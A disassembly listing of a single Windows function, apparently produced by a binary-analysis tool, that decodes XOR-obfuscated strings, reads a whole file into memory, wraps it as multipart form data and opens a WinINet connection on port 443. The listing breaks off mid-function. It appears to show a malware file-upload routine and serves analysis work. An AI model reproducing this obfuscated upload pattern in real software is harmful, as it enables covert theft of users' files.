Function at 0x140003dbf
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov eax, 0xf68
call fcn.140013cc0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf30], rcx
mov qword [rbp + 0xf38], rdx
mov qword [rbp + 0xf40], r8
mov qword [rbp + 0xf48], r9
lea rax, [rbp + 0xee0]
sub rax, 0xf20
add rax, 0x1f
shr rax, 5
shl rax, 5
mov rbx, rax
lea rax, [rbp + 0x9c0]
mov edx, 0x30
mov rcx, rax
call sym.generate_boundary_abi:cxx11__int_
mov rax, qword [rbp + 0xf40]
mov r8, 0xffffffffffffffff
lea rdx, [0x1400dd07d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char_const__unsigned_long_long__const
lea rcx, [rax + 1]
lea rax, [rbp + 0x9a0]
mov rdx, qword [rbp + 0xf40]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
movabs rsi, 0xdb058b1f2f698204
mov qword [rbp + 0xe18], rsi
mov rax, qword [rbp + 0xe18]
mov qword [rbp + 0xe18], rax
mov rax, qword [rbp + 0xe18]
mov qword [rbx], rax
movabs rax, 0xcd1f97b14a2578d4
mov qword [rbp + 0xe10], rax
mov rax, qword [rbp + 0xe10]
mov qword [rbp + 0xe10], rax
mov rax, qword [rbp + 0xe10]
mov qword [rbx + 8], rax
movabs rax, 0x4f827ed5720e062d
mov qword [rbp + 0xe08], rax
mov rax, qword [rbp + 0xe08]
mov qword [rbp + 0xe08], rax
mov rax, qword [rbp + 0xe08]
mov qword [rbx + 0x10], rax
movabs rax, 0xd09da201808e7e4
mov qword [rbp + 0xe00], rax
mov rax, qword [rbp + 0xe00]
mov qword [rbp + 0xe00], rax
mov rax, qword [rbp + 0xe00]
mov qword [rbx + 0x18], rax
movabs rax, 0x4ecee4e987a32daa
mov qword [rbp + 0xdf8], rax
mov rax, qword [rbp + 0xdf8]
mov qword [rbp + 0xdf8], rax
mov rax, qword [rbp + 0xdf8]
mov qword [rbx + 0x20], rax
movabs rax, 0x840bb137c4ac70e5
mov qword [rbp + 0xdf0], rax
mov rax, qword [rbp + 0xdf0]
mov qword [rbp + 0xdf0], rax
mov rax, qword [rbp + 0xdf0]
mov qword [rbx + 0x28], rax
nop
movabs rdi, 0xf671e57a5b07ed47
mov qword [rbp + 0xeb0], rdi
mov rax, qword [rbp + 0xeb0]
mov qword [rbp + 0xeb0], rax
mov rax, qword [rbp + 0xeb0]
mov qword [rbx + 0x60], rax
movabs r14, 0xb872b78b2f550180
mov qword [rbp + 0xea8], r14
mov rax, qword [rbp + 0xea8]
mov qword [rbp + 0xea8], rax
mov rax, qword [rbp + 0xea8]
mov qword [rbx + 0x68], rax
movabs r15, 0x60f60cb402677241
mov qword [rbp + 0xea0], r15
mov rax, qword [rbp + 0xea0]
mov qword [rbp + 0xea0], rax
mov rax, qword [rbp + 0xea0]
mov qword [rbx + 0x70], rax
movabs r12, 0x7968be0d757a8882
mov qword [rbp + 0xe98], r12
mov rax, qword [rbp + 0xe98]
mov qword [rbp + 0xe98], rax
mov rax, qword [rbp + 0xe98]
mov qword [rbx + 0x78], rax
movabs r13, 0x2aa09186e58316cb
mov qword [rbp + 0xe90], r13
mov rax, qword [rbp + 0xe90]
mov qword [rbp + 0xe90], rax
mov rax, qword [rbp + 0xe90]
mov qword [rbx + 0x80], rax
movabs rax, 0x840bb137f9d50284
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xe88]
mov qword [rbx + 0x88], rax
lea rax, [rbx + 0x60]
mov qword [rbp + 0xe80], rax
mov rax, qword [rbp + 0xe80]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0xe78], rax
mov rax, qword [rbp + 0xe78]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x2c0], ymm0
vmovdqa ymmword [rbx + 0x2a0], ymm1
vmovdqa ymm1, ymmword [rbx + 0x2c0]
vmovdqa ymm0, ymmword [rbx + 0x2a0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0xe70], rax
vmovdqa ymmword [rbx + 0x280], ymm0
mov rax, qword [rbp + 0xe70]
vmovdqa ymm0, ymmword [rbx + 0x280]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x60]
add rax, 0x20
mov qword [rbp + 0xe68], rax
mov rax, qword [rbp + 0xe68]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xe60], rax
mov rax, qword [rbp + 0xe60]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xe50], xmm1
vmovdqa xmmword [rbp + 0xe40], xmm0
vmovdqa xmm1, xmmword [rbp + 0xe50]
vmovdqa xmm0, xmmword [rbp + 0xe40]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xe38], rax
vmovdqa xmmword [rbp + 0xe20], xmm0
mov rax, qword [rbp + 0xe38]
vmovdqa xmm0, xmmword [rbp + 0xe20]
vmovdqa xmmword [rax], xmm0
nop
mov rcx, rbx
lea rax, [rbp + 0x980]
lea rdx, [rbp + 0x9c0]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, rsi
mov qword [rbp + 0xc68], rsi
mov rax, qword [rbp + 0xc68]
mov qword [rbp + 0xc68], rax
mov rax, qword [rbp + 0xc68]
mov qword [rbx], rax
movabs rsi, 0xc81397b14a2578d4
mov qword [rbp + 0xc60], rsi
mov rax, qword [rbp + 0xc60]
mov qword [rbp + 0xc60], rax
mov rax, qword [rbp + 0xc60]
mov qword [rbx + 8], rax
movabs rsi, 0xf9f78d5610e1e31
mov qword [rbp + 0xc58], rsi
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbx + 0x10], rax
movabs rsi, 0x541cdb791615a7ec
mov qword [rbp + 0xc50], rsi
mov rax, qword [rbp + 0xc50]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xc50]
mov qword [rbx + 0x18], rax
movabs rsi, 0x20adfce780f162b8
mov qword [rbp + 0xc48], rsi
mov rax, qword [rbp + 0xc48]
mov qword [rbp + 0xc48], rax
mov rax, qword [rbp + 0xc48]
mov qword [rbx + 0x20], rax
movabs rsi, 0xa97fdf528dbb6dc7
mov qword [rbp + 0xc40], rsi
mov rax, qword [rbp + 0xc40]
mov qword [rbp + 0xc40], rax
mov rax, qword [rbp + 0xc40]
mov qword [rbx + 0x28], rax
movabs rsi, 0x652ff63347d228f1
mov qword [rbp + 0xc38], rsi
mov rax, qword [rbp + 0xc38]
mov qword [rbp + 0xc38], rax
mov rax, qword [rbp + 0xc38]
mov qword [rbx + 0x30], rax
movabs rsi, 0xdf408e9611fe4e3b
mov qword [rbp + 0xc30], rsi
mov rax, qword [rbp + 0xc30]
mov qword [rbp + 0xc30], rax
mov rax, qword [rbp + 0xc30]
mov qword [rbx + 0x38], rax
movabs rsi, 0x296685ab49854fa8
mov qword [rbp + 0xc28], rsi
mov rax, qword [rbp + 0xc28]
mov qword [rbp + 0xc28], rax
mov rax, qword [rbp + 0xc28]
mov qword [rbx + 0x40], rax
movabs rsi, 0xd14cd2d9bbd4bdf1
mov qword [rbp + 0xc20], rsi
mov rax, qword [rbp + 0xc20]
mov qword [rbp + 0xc20], rax
mov rax, qword [rbp + 0xc20]
mov qword [rbx + 0x48], rax
nop
mov rcx, rdi
mov qword [rbp + 0xd38], rdi
mov rax, qword [rbp + 0xd38]
mov qword [rbp + 0xd38], rax
mov rax, qword [rbp + 0xd38]
mov qword [rbx + 0x60], rax
mov rdi, r14
mov qword [rbp + 0xd30], rdi
mov rax, qword [rbp + 0xd30]
mov qword [rbp + 0xd30], rax
mov rax, qword [rbp + 0xd30]
mov qword [rbx + 0x68], rax
mov r10, r15
mov qword [rbp + 0xd28], r10
mov rax, qword [rbp + 0xd28]
mov qword [rbp + 0xd28], rax
mov rax, qword [rbp + 0xd28]
mov qword [rbx + 0x70], rax
mov r11, r12
mov qword [rbp + 0xd20], r11
mov rax, qword [rbp + 0xd20]
mov qword [rbp + 0xd20], rax
mov rax, qword [rbp + 0xd20]
mov qword [rbx + 0x78], rax
mov r14, r13
mov qword [rbp + 0xd18], r14
mov rax, qword [rbp + 0xd18]
mov qword [rbp + 0xd18], rax
mov rax, qword [rbp + 0xd18]
mov qword [rbx + 0x80], rax
movabs r15, 0x840bb137f9d50284
mov qword [rbp + 0xd10], r15
mov rax, qword [rbp + 0xd10]
mov qword [rbp + 0xd10], rax
mov rax, qword [rbp + 0xd10]
mov qword [rbx + 0x88], rax
movabs r8, 0x174a904029b35aa5
mov qword [rbp + 0xd08], r8
mov rax, qword [rbp + 0xd08]
mov qword [rbp + 0xd08], rax
mov rax, qword [rbp + 0xd08]
mov qword [rbx + 0x90], rax
movabs r9, 0xb129eaf972900b16
mov qword [rbp + 0xd00], r9
mov rax, qword [rbp + 0xd00]
mov qword [rbp + 0xd00], rax
mov rax, qword [rbp + 0xd00]
mov qword [rbx + 0x98], rax
movabs rax, 0x5b07ebc22ba575cf
mov qword [rbp + 0xcf8], rax
mov rax, qword [rbp + 0xcf8]
mov qword [rbp + 0xcf8], rax
mov rax, qword [rbp + 0xcf8]
mov qword [rbx + 0xa0], rax
movabs rax, 0xd14cd2d3b6deb088
mov qword [rbp + 0xcf0], rax
mov rax, qword [rbp + 0xcf0]
mov qword [rbp + 0xcf0], rax
mov rax, qword [rbp + 0xcf0]
mov qword [rbx + 0xa8], rax
lea rax, [rbx + 0x60]
mov qword [rbp + 0xce8], rax
mov rax, qword [rbp + 0xce8]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0xce0], rax
mov rax, qword [rbp + 0xce0]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x1a0], ymm0
vmovdqa ymmword [rbx + 0x180], ymm1
vmovdqa ymm1, ymmword [rbx + 0x1a0]
vmovdqa ymm0, ymmword [rbx + 0x180]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0xcd8], rax
vmovdqa ymmword [rbx + 0x160], ymm0
mov rax, qword [rbp + 0xcd8]
vmovdqa ymm0, ymmword [rbx + 0x160]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x60]
add rax, 0x20
mov qword [rbp + 0xcd0], rax
mov rax, qword [rbp + 0xcd0]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xcc8], rax
mov rax, qword [rbp + 0xcc8]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x140], ymm0
vmovdqa ymmword [rbx + 0x120], ymm1
vmovdqa ymm1, ymmword [rbx + 0x140]
vmovdqa ymm0, ymmword [rbx + 0x120]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xcc0], rax
vmovdqa ymmword [rbx + 0x100], ymm0
mov rax, qword [rbp + 0xcc0]
vmovdqa ymm0, ymmword [rbx + 0x100]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x60]
add rax, 0x40
mov qword [rbp + 0xcb8], rax
mov rax, qword [rbp + 0xcb8]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x40
mov qword [rbp + 0xcb0], rax
mov rax, qword [rbp + 0xcb0]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xca0], xmm1
vmovdqa xmmword [rbp + 0xc90], xmm0
vmovdqa xmm1, xmmword [rbp + 0xca0]
vmovdqa xmm0, xmmword [rbp + 0xc90]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x40
mov qword [rbp + 0xc88], rax
vmovdqa xmmword [rbp + 0xc70], xmm0
mov rax, qword [rbp + 0xc88]
vmovdqa xmm0, xmmword [rbp + 0xc70]
vmovdqa xmmword [rax], xmm0
nop
mov rsi, rbx
mov qword [rbp + 0xd78], rdx
mov rax, qword [rbp + 0xd78]
mov qword [rbp + 0xd78], rax
mov rax, qword [rbp + 0xd78]
mov qword [rbx + 0xc0], rax
movabs rax, 0xcc1bc4e45f2668c4
mov qword [rbp + 0xd70], rax
mov rax, qword [rbp + 0xd70]
mov qword [rbp + 0xd70], rax
mov rax, qword [rbp + 0xd70]
mov qword [rbx + 0xc8], rax
movabs rax, 0x12996a9438091d28
mov qword [rbp + 0xd68], rax
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0xd68], rax
mov rax, qword [rbp + 0xd68]
mov qword [rbx + 0xd0], rax
movabs rax, 0x5953df79141ea5ef
mov qword [rbp + 0xd60], rax
mov rax, qword [rbp + 0xd60]
mov qword [rbp + 0xd60], rax
mov rax, qword [rbp + 0xd60]
mov qword [rbx + 0xd8], rax
movabs rax, 0x43c6b3bb80ee77a5
mov qword [rbp + 0xd58], rax
mov rax, qword [rbp + 0xd58]
mov qword [rbp + 0xd58], rax
mov rax, qword [rbp + 0xd58]
mov qword [rbx + 0xe0], rax
movabs rax, 0xe862d717c2f767e8
mov qword [rbp + 0xd50], rax
mov rax, qword [rbp + 0xd50]
mov qword [rbp + 0xd50], rax
mov rax, qword [rbp + 0xd50]
mov qword [rbx + 0xe8], rax
movabs rax, 0x1768ad2544d234c0
mov qword [rbp + 0xd48], rax
mov rax, qword [rbp + 0xd48]
mov qword [rbp + 0xd48], rax
mov rax, qword [rbp + 0xd48]
mov qword [rbx + 0xf0], rax
mov qword [rbp + 0xd40], r9
mov rax, qword [rbp + 0xd40]
mov qword [rbp + 0xd40], rax
mov rax, qword [rbp + 0xd40]
mov qword [rbx + 0xf8], rax
nop
mov qword [rbp + 0xde8], rcx
mov rax, qword [rbp + 0xde8]
mov qword [rbp + 0xde8], rax
mov rax, qword [rbp + 0xde8]
mov qword [rbx + 0x60], rax
mov qword [rbp + 0xde0], rdi
mov rax, qword [rbp + 0xde0]
mov qword [rbp + 0xde0], rax
mov rax, qword [rbp + 0xde0]
mov qword [rbx + 0x68], rax
mov qword [rbp + 0xdd8], r10
mov rax, qword [rbp + 0xdd8]
mov qword [rbp + 0xdd8], rax
mov rax, qword [rbp + 0xdd8]
mov qword [rbx + 0x70], rax
mov qword [rbp + 0xdd0], r11
mov rax, qword [rbp + 0xdd0]
mov qword [rbp + 0xdd0], rax
mov rax, qword [rbp + 0xdd0]
mov qword [rbx + 0x78], rax
mov qword [rbp + 0xdc8], r14
mov rax, qword [rbp + 0xdc8]
mov qword [rbp + 0xdc8], rax
mov rax, qword [rbp + 0xdc8]
mov qword [rbx + 0x80], rax
mov qword [rbp + 0xdc0], r15
mov rax, qword [rbp + 0xdc0]
mov qword [rbp + 0xdc0], rax
mov rax, qword [rbp + 0xdc0]
mov qword [rbx + 0x88], rax
mov qword [rbp + 0xdb8], r8
mov rax, qword [rbp + 0xdb8]
mov qword [rbp + 0xdb8], rax
mov rax, qword [rbp + 0xdb8]
mov qword [rbx + 0x90], rax
mov qword [rbp + 0xdb0], r9
mov rax, qword [rbp + 0xdb0]
mov qword [rbp + 0xdb0], rax
mov rax, qword [rbp + 0xdb0]
mov qword [rbx + 0x98], rax
lea rax, [rbx + 0x60]
mov qword [rbp + 0xda8], rax
mov rax, qword [rbp + 0xda8]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0xc0]
mov qword [rbp + 0xda0], rax
mov rax, qword [rbp + 0xda0]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x260], ymm0
vmovdqa ymmword [rbx + 0x240], ymm1
vmovdqa ymm1, ymmword [rbx + 0x260]
vmovdqa ymm0, ymmword [rbx + 0x240]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0xc0]
mov qword [rbp + 0xd98], rax
vmovdqa ymmword [rbx + 0x220], ymm0
mov rax, qword [rbp + 0xd98]
vmovdqa ymm0, ymmword [rbx + 0x220]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x60]
add rax, 0x20
mov qword [rbp + 0xd90], rax
mov rax, qword [rbp + 0xd90]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0xc0]
add rax, 0x20
mov qword [rbp + 0xd88], rax
mov rax, qword [rbp + 0xd88]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x200], ymm0
vmovdqa ymmword [rbx + 0x1e0], ymm1
vmovdqa ymm1, ymmword [rbx + 0x200]
vmovdqa ymm0, ymmword [rbx + 0x1e0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0xc0]
add rax, 0x20
mov qword [rbp + 0xd80], rax
vmovdqa ymmword [rbx + 0x1c0], ymm0
mov rax, qword [rbp + 0xd80]
vmovdqa ymm0, ymmword [rbx + 0x1c0]
vmovdqa ymmword [rax], ymm0
nop
add rbx, 0xc0
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0x9c0]
mov r8, rdx
lea rdx, [0x1400dd080]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x1400dd083]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa00]
lea rcx, [rbp + 0x9a0]
lea rdx, [rbp + 0xa20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x1400dd086]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x960]
lea rdx, [rbp + 0x9e0]
mov r8, rsi
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x9e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0x9c0]
mov r8, rdx
lea rdx, str._r_n__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x940]
lea rdx, [rbp + 0xa80]
lea r8, str.___r_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 2
mov ecx, 4
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
mov rdx, qword [rbp + 0xf40]
lea rax, [rbp + 0x750]
mov r8d, ecx
mov rcx, rax
call fcn.1400a0780
lea rax, [rbp + 0x750]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140004b89
mov ebx, 0xe1
jmp 0x1400052f2
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0x750]
mov rcx, rax
call method.std::istream.tellg__
lea rax, [rbp + 0xaa0]
mov rcx, rax
call method.std::fpos__Mbstatet_.operator_long_long___const
mov qword [rbp + 0xed8], rax
lea rax, [rbp + 0x750]
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0xabf]
mov qword [rbp + 0xc18], rax
nop
nop
mov rdx, qword [rbp + 0xed8]
lea rcx, [rbp + 0xabf]
lea rax, [rbp + 0x730]
mov r8, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0xabf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x730]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
mov rcx, qword [rbp + 0xed8]
lea rax, [rbp + 0x750]
mov r8, rcx
mov rcx, rax
call method.std::istream.read_char__long_long_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x140004c6c
lea rax, [rbp + 0x750]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov ebx, 0xe2
jmp 0x1400052e3
lea rax, [rbp + 0x750]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0xb0f]
mov qword [rbp + 0xc10], rax
nop
nop
lea rax, [rbp + 0x730]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.end__
mov rbx, rax
lea rax, [rbp + 0x730]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.begin__
mov rdx, rax
lea rcx, [rbp + 0xb0f]
lea rax, [rbp + 0xae0]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_char__std::vector_char__std.allocator_char_______void____gnu_cxx::__normal_iterator_char__std::vector_char__std::allocator_
lea rax, [rbp + 0xac0]
lea rcx, [rbp + 0xae0]
lea rdx, [rbp + 0x960]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std::allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x710]
lea rcx, [rbp + 0x940]
lea rdx, [rbp + 0xac0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xac0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xae0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xb0f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
movabs rax, 0xc75fd4550b53b90f
mov qword [rbp + 0xba8], rax
mov rax, qword [rbp + 0xba8]
mov qword [rbp + 0xba8], rax
mov rax, qword [rbp + 0xba8]
mov qword [rbp + 0xb10], rax
movabs rsi, 0xb872b78b2f550180
mov qword [rbp + 0xba0], rsi
mov rax, qword [rbp + 0xba0]
mov qword [rbp + 0xba0], rax
mov rax, qword [rbp + 0xba0]
mov qword [rbp + 0xb18], rax
nop
movabs rax, 0xf671e57a5b07ed47
mov qword [rbp + 0xc08], rax
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0xc08], rax
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0xc00], rsi
mov rax, qword [rbp + 0xc00]
mov qword [rbp + 0xc00], rax
mov rax, qword [rbp + 0xc00]
mov qword [rbp + 0x2c8], rax
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0xbf8], rax
mov rax, qword [rbp + 0xbf8]
vmovdqa xmm0, xmmword [rax]
lea rax, [rbp + 0xb10]
mov qword [rbp + 0xbf0], rax
mov rax, qword [rbp + 0xbf0]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xbe0], xmm1
vmovdqa xmmword [rbp + 0xbd0], xmm0
vmovdqa xmm1, xmmword [rbp + 0xbe0]
vmovdqa xmm0, xmmword [rbp + 0xbd0]
vpxor xmm0, xmm1, xmm0
lea rax, [rbp + 0xb10]
mov qword [rbp + 0xbc8], rax
vmovdqa xmmword [rbp + 0xbb0], xmm0
mov rax, qword [rbp + 0xbc8]
vmovdqa xmm0, xmmword [rbp + 0xbb0]
vmovdqa xmmword [rax], xmm0
nop
lea rax, [rbp + 0xb10]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xed0], rax
cmp qword [rbp + 0xed0], 0
jne 0x140004eab
mov ebx, 0xe6
jmp 0x1400052d4
mov rax, qword [rbp + 0xf30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0xed0]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1bb
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0xec8], rax
cmp qword [rbp + 0xec8], 0
jne 0x140004f2c
mov rax, qword [rbp + 0xed0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0xe5
jmp 0x1400052d4
mov rax, qword [rbp + 0xf38]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
movabs rax, 0xf671e57a0f54a217
mov qword [rbp + 0xb38], rax
mov rax, qword [rbp + 0xb38]
mov qword [rbp + 0xb38], rax
mov rax, qword [rbp + 0xb38]
mov qword [rbp + 0xb20], rax
movabs rdi, 0xb872b78b2f550180
mov qword [rbp + 0xb30], rdi
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xb28], rax
nop
movabs rax, 0xf671e57a5b07ed47
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0xb90], rdi
mov rax, qword [rbp + 0xb90]
mov qword [rbp + 0xb90], rax
mov rax, qword [rbp + 0xb90]
mov qword [rbp + 0x2e8], rax
lea rax, [rbp + 0x2e0]
mov qword [rbp + 0xb88], rax
mov rax, qword [rbp + 0xb88]
vmovdqa xmm0, xmmword [rax]
lea rax, [rbp + 0xb20]
mov qword [rbp + 0xb80], rax
mov rax, qword [rbp + 0xb80]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xb70], xmm1
vmovdqa xmmword [rbp + 0xb60], xmm0
vmovdqa xmm1, xmmword [rbp + 0xb70]
vmovdqa xmm0, xmmword [rbp + 0xb60]
vpxor xmm0, xmm1, xmm0
lea rax, [rbp + 0xb20]
mov qword [rbp + 0xb58], rax
vmovdqa xmmword [rbp + 0xb40], xmm0
